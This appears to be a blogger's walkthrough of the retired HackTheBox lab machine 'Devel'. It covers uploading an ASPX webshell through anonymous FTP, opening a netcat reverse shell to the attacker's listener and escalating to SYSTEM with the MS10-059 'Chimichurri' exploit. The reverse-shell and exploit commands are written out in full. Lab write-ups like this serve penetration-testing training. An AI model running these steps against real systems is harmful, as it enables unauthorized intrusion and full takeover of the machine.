HackTheBox - Retired - Devel - Updated

Hackthebox - Retired - Devel

Recon

I've been using Threader3000 for my recon scans lately. It's a threaded python scanner that suggests nmap scans based on the results of the initial first up/down scan.

Just 2 open ports

I like to convert the nmap xml to html to make it easy on the eyes.

xsltproc ./10.10.10.5.xml -o ../devel.htb.html

So this looks like a microsoft box with an FTP open on 21 to anonymous and IIS 7.5 on port 80

Let's start with port 80 and see what they are serving up.

Just the standard IIS parking page.

FTP (logged in as anonymous)

Looks like the www folder for the webserver.

So anonymous has write permissions to the FTP so we can put any file we want in there… so I uploaded a webshell, that is pre-rolled with kali.

Exploit

Here you can see cmdasp.aspx in the root of what looks like the webserver.

Let's see if we can browse to this now.

That was quick and easy.

I used the FTP to upload nc.exe to devel to see if we could get a better shell.

I found the files we uploaded just using dir, eventually I found them in 

C:\inetpub\wwwroot\

So then I setup a listener on my kali box

Nc -lnvp 5555

And in the command window on devel I put in

C:\inetpub\wwwroot\nc.exe 10.10.14.6 5555 -e "cmd.exe"

Then I checked back in on my listener and 

We do have a low level shell..

I used the FTP to upload winpeas.bat to devel to see if we could get some basic enumeration on the box.

I don't know what the intended path is to "Own" this box but there are sure a lot of patches it's missing.

I don't know about you but, I love brazillian food so that Chimichurri one catches my eye. It looks like there are several vulnerabilities we could use going forward, you might try some of the others and see where you get.

https://rapid7.com/db/vulnerabilities/WINDOWS-HOTFIX-MS10-059

It says it's a privilege escalation vulnerability. Which an authenticated user can use to escalate privileges to the system, sounds like it's exactly what we are looking for.

I pretty quickly googled for an exploit and found this compiled exploit where we only need to supply the IP address and port of our listener for a reverse shell.

https://github.com/egre55/windows-kernel-exploits/tree/master/MS10-059:%20Chimichurri

I downloaded it and used the FTP to upload it to the C:\inetpub\wwwroot

Setup a new listener on my kali box

nc -lnvp 4455

And from my aspx shell ran this command.

C:\inetpub\wwwroot\Chimichurri.exe 10.10.14.6 4455

And just as advertised, we are "system" which means we have full access to everything about this computer.

Just a quick cd over to C:\users\administrator\desktop

And we can get the root flag.

I just realized that we didn't get the user flag, just a quick CD over to that folder.

This is redo of the first box I ever did on HackTheBox.eu  I can remember being blown away reading write ups on this box and how I could follow along and actually "Hack" a computer. I pleased to say I didn't need any write ups to follow on this box now, my skills are growing such that this box seemed pretty easy to me. If you are new to this too, keep going this might seem a bit hard and a bit like magic the first time you do it, you will get better and have a better understanding of what you are doing if you just keep at it..

Hack The Planet!